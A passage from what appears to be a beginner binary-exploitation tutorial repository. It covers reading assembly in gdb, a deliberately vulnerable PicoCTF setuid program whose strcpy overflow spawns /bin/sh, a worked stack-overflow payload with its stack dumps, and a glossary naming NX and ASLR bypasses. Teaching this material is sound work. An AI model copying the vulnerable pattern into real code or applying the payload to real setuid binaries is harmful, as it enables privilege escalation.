Don't worry about this, my gdb is modified.\n\nThe weird code that `gdb` displayed is called assembly language. It's the lowest level human readable code out there. Each line maps directly to a machine instruction. Let's break this down.\n\n```asm\n0x0804841d <+0>:     push   %ebp\n0x0804841e <+1>:     mov    %esp,%ebp\n0x08048420 <+3>:     and    $0xfffffff0,%esp\n0x08048423 <+6>:     sub    $0x10,%esp\n```\n\nThe hex numbers you see on the left are addresses. You can think of these just like your house address: `0x0804841d` is where the instruction `push   %ebp` lives. These first four instructions are just conventions for a function, in this case `main()`.\n\n```asm\n0x08048426 <+9>:     movl   $0x80484d0,(%esp)\n0x0804842d <+16>:    call   0x80482f0 <puts@plt>\n```\n\nThese instructions are what actually print out `\"Hello World!\"`. The program moves the address of the string `\"Hello World!\"` into the memory address that `%esp` points to. `%esp` is a register, which you can think of as a special place the processor uses for storing values it needs quick access to. Each register can hold up to four bytes, usually some memory address. Our program then calls the `puts()` function, which prints out whatever is at the address we supplied.\n\n```asm\n0x08048432 <+21>:    leave\n0x08048433 <+22>:    ret\n```\n\nThe last two instructions return control from our `main()` function back to the C library, which then does some clean up and exits the program. We'll be learning more about how these binaries function in later tutorials.\n"
  },
  {
    "path": "intro-1/hello_world.c",
    "content": "#include<stdio.h>\n\nint main() {\n    printf(\"Hello World!\\n\");\n}\n"
  },
  {
    "path": "intro-2/README.md",
    "content": "# Intro  2: Screwing around with the stack.\n\n**Credit to [Picoctf 2013](2013.picoctf.com) for the binary and source used here.**\n\nNow that you've gotten your feet wet with binaries, it's time to dive in to exploitation with the stack. Consider the file [overflow1.c](overflow1.c)\n\n```C\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys/types.h>\n#include \"dump_stack.h\"\n\nvoid vuln(int tmp, char *str) {\n    int win = tmp;\n    char buf[64];\n    strcpy(buf, str);\n    dump_stack((void **) buf, 23, (void **) &tmp);\n    printf(\"win = %d\\n\", win);\n    if (win == 1) {\n        execl(\"/bin/sh\", \"sh\", NULL);\n    } else {\n        printf(\"Sorry, you lose.\\n\");\n    }\n    exit(0);\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        printf(\"Usage: stack_overwrite [str]\\n\");\n        return 1;\n    }\n\n    uid_t euid = geteuid();\n    setresuid(euid, euid, euid);\n    vuln(0, argv[1]);\n    return 0;\n}\n```\n\nYou can tell just by reading through this file that the obvious objective here is to make `win == 1` a true statement, but we're going to ignore that for a few minutes to learn about the stack. The stack is dynamic memory that the program uses to store addresses, arguments, and all sorts of other goodies.\n\nHere's an example stack dump:\n\n```salt\n$ ./overflow1-3948d17028101c40\nUsage: stack_overwrite [str]\n$ ./overflow1-3948d17028101c40 AAAA\nStack dump:\n0xffd48bf4: 0xffd4a89b (second argument)\n0xffd48bf0: 0x00000000 (first argument)\n0xffd48bec: 0x0804870f (saved eip)\n0xffd48be8: 0xffd48c18 (saved ebp)\n0xffd48be4: 0xf7720000\n0xffd48be0: 0xf762caa7\n0xffd48bdc: 0x00000000\n0xffd48bd8: 0xffd48c44\n0xffd48bd4: 0xf7744500\n0xffd48bd0: 0xffd48c18\n0xffd48bcc: 0x00000000\n0xffd48bc8: 0x00000000\n0xffd48bc4: 0xf7720000\n0xffd48bc0: 0xffffffff\n0xffd48bbc: 0xf760b216\n0xffd48bb8: 0x000000c2\n0xffd48bb4: 0xf757f698\n0xffd48bb0: 0xf7751938\n0xffd48bac: 0xf762cad4\n0xffd48ba8: 0x000003e8\n0xffd48ba4: 0x000003e8\n0xffd48ba0: 0xffd48c00\n0xffd48b9c: 0x41414141 (beginning of buffer)\nwin = 0\nSorry, you lose.\n```\n\nNow if you know a thing or two about ASCII, you'll know that `0x41` is the value of the character `A`. At the bottom of the stack dump, you'll notice that the beginning of the buffer contains `0x41414141`, or our four `A`'s. Now we can run it again, only this time we'll store a few more `A`'s. Pay attention to the addresses on the left :)\n\n```salt\n/overflow1-3948d17028101c40 $(python -c 'print \"A\"*76')\nStack dump:\n0xfff577d4: 0xfff58853 (second argument)\n0xfff577d0: 0x00000000 (first argument)\n0xfff577cc: 0x0804870f (saved eip)\n0xfff577c8: 0xfff57700 (saved ebp)\n0xfff577c4: 0x41414141\n0xfff577c0: 0x41414141\n0xfff577bc: 0x41414141\n0xfff577b8: 0x41414141\n0xfff577b4: 0x41414141\n0xfff577b0: 0x41414141\n0xfff577ac: 0x41414141\n0xfff577a8: 0x41414141\n0xfff577a4: 0x41414141\n0xfff577a0: 0x41414141\n0xfff5779c: 0x41414141\n0xfff57798: 0x41414141\n0xfff57794: 0x41414141\n0xfff57790: 0x41414141\n0xfff5778c: 0x41414141\n0xfff57788: 0x41414141\n0xfff57784: 0x41414141\n0xfff57780: 0x41414141\n0xfff5777c: 0x41414141 (beginning of buffer)\nwin = 1094795585\nSorry, you lose.\n```\n\nThis shell command: `$(python -c 'print \"A\"*76')` tells python to print out the `A` character 76 times.\n\nNotice that the addresses on the left are completely different than the first run. This is normal, and due to something called `ASLR`, or Address Space Layout Randomization. Most modern OSes have `ASLR` enabled, which is protection that randomizes stack addresses on each run of a program.\n\nNow, you might notice that `win = 1094795585` according to the stack dump. What just happened?\n\nBack to the source:\n\n```C\nchar buf[64];\nstrcpy(buf, str);\n```\n\n**`strcpy()` is a dangerous function!**\n\nOur buffer only holds 64 bytes, however, the buffer we ask to be copied contains 76 bytes. `strcpy()` doesn't care about checking lengths, so the extra 12 bytes that don't fit just get thrown onto the stack.\n\nThe value of `win` was stored right next to our buffer, so next let's try to set the value of `win` to `1`.\n\nThis is where things get a bit tricky...\n\nWe need to be careful not to confuse characters and integers. The character `1` is `0x30` in hex, but the integer `1` is `0x1` in hex (Note that this is not printable.)\n\nWe want to set `win` equal to the *integer* representation of `1`, not the character representation of `1`.\n\nSince `win` is right after our buffer on the stack, we can just write 64 `A`'s in character format, followed by a single `\"\\x01\"` to our buffer. This will leak the last byte (`0x01`) of the buffer we wrote to where `win` is stored, setting `win = 1`.\n\n```salt\n$ ./overflow1-3948d17028101c40 $(python -c 'print \"A\"*64 + \"\\x01\"')\nStack dump:\n0xffe29f04: 0xffe2b85e (second argument)\n0xffe29f00: 0x00000000 (first argument)\n0xffe29efc: 0x0804870f (saved eip)\n0xffe29ef8: 0xffe29f28 (saved ebp)\n0xffe29ef4: 0xf7760000\n0xffe29ef0: 0xf766caa7\n0xffe29eec: 0x00000001\n0xffe29ee8: 0x41414141\n0xffe29ee4: 0x41414141\n0xffe29ee0: 0x41414141\n0xffe29edc: 0x41414141\n0xffe29ed8: 0x41414141\n0xffe29ed4: 0x41414141\n0xffe29ed0: 0x41414141\n0xffe29ecc: 0x41414141\n0xffe29ec8: 0x41414141\n0xffe29ec4: 0x41414141\n0xffe29ec0: 0x41414141\n0xffe29ebc: 0x41414141\n0xffe29eb8: 0x41414141\n0xffe29eb4: 0x41414141\n0xffe29eb0: 0x41414141\n0xffe29eac: 0x41414141 (beginning of buffer)\nwin = 1\n$ ls\noverflow1-3948d17028101c40  overflow1-3948d17028101c40.c  README.md\n$ exit\n```\n\nIf you try this for yourself, you'll get a shell. You've now sucessfully executed a buffer overflow attack!\n"
  },
  {
    "path": "intro-2/overflow1.c",
    "content": "#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n#include <sys/types.h>\r\n#include \"dump_stack.h\"\r\n\r\nvoid vuln(int tmp, char* str)\r\n{\r\n\tint win = tmp;\r\n\tchar buf[64];\r\n\tstrcpy(buf, str);\r\n\tdump_stack((void**) buf, 23, (void**) &tmp);\r\n\tprintf(\"win = %d\\n\", win);\r\n\r\n\tif (win == 1) {\r\n\t\texecl(\"/bin/sh\", \"sh\", NULL);\r\n\t} else {\r\n\t\tprintf(\"Sorry, you lose.\\n\");\r\n\t}\r\n\r\n\texit(0);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 2) {\r\n\t\tprintf(\"Usage: stack_overwrite [str]\\n\");\r\n\t\treturn 1;\r\n\t}\r\n\r\n\tuid_t euid = geteuid();\r\n\tsetresuid(euid, euid, euid);\r\n\tvuln(0, argv[1]);\r\n\treturn 0;\r\n}\r\n"
  },
  {
    "path": "terms/README.md",
    "content": "# Glossary of Terms\n\nNote: If you have a term you'd like added to the list, add an Issue or open a Pull Request.\n\n## Technical Terms\n\n* **ASLR (Address Space Layout Randomization):** Security measure in modern OSes to randomize stack and libc addresses on each program execution.\n\n* **Binary:** A binary is the output file from compiling a C or C++ file. Anything in the\nbinary has a *constant address* (usually... see PIE.)\n\n* **Canary:** A canary is some (usually random) value that is used to verify that\nnothing has been overrwritten. Programs may place canaries in memory, and\ncheck that they still have the exact same value after running potentially\ndangerous code, verifying the integrity of that memory.\n\n* **GOT (Global Offset Table):** The GOT is a table of addresses stored in the data section of memory. Executed programs use it to look up the runtime addresses of global variables that are unknown at compile time.\n\n* **Heap:** The heap is a far more reliable memory space similar to the stack.\nHowever, usage of the heap has to be invoked by the coder, so heap problems are\noften their own category of exploitation\n\n* **libc:** A binary is *dynamically linked* and has a libc file. This means that\nthe whole set of standard library functions are located somewhere in the memory used\nby the program.\n\n* **NX (Non-Executable):** Security measure in modern OSes to separate processor instructions (code) and data (everything that's not code.) This prevents memory from being both executable and writable.\n\n* **PIE (Position Independent Executable):** Essentially ASLR, but for the binary itself.\nWhen this protection is enabled, locations of actual code in the binary are randomized.\n\n* **PLT (Procedure Linkage Table):** The PLT is essentially a wrapper function for all\nfunctions directly called in the binary. *Only used in dynamically\nlinked binaries*.\n\n* **ROP (Return Oriented Programming):** Reusing tiny bits of code throughout the binary to construct commands we want to execute.\n\n* **Stack:** The stack is part of the memory for a binary. Local variables and\npointers are often stored here. The stack can be randomized.\n\n\n## Important Functions to Watch Out For:\n\nTODO: ADD MORE.\n\n* `mprotect()`: This is the function responsible for setting page pivilieges. If\nyou can call this function with your own arbitrary arguments, you can\neffectively bypass NX protection.\n\n* `system()`: This function can be used to execute commands or even other\nbinaries if called properly. I think it defaults to sh to handle commands on\nmost Linux flavors.\n\n## General Terms\n\n* **Arbitrary:** This word is used to imply the fullness of control that you\nmight have given an exploit. If you've achieved *arbitrary code execution*, that means you can run, read, or write whatever commands you choose.\n\n* **Reliable:** Reliable in the context of binary exploitation is almost exactly\nthe same as regular use. An exploit is said to be reliable if it works across\ndifferent runs consistently. It might seem dumb to define this work, but\nsomtimes with exploits you will only have the option to make an unreliable\nexploit.\n"
  }
]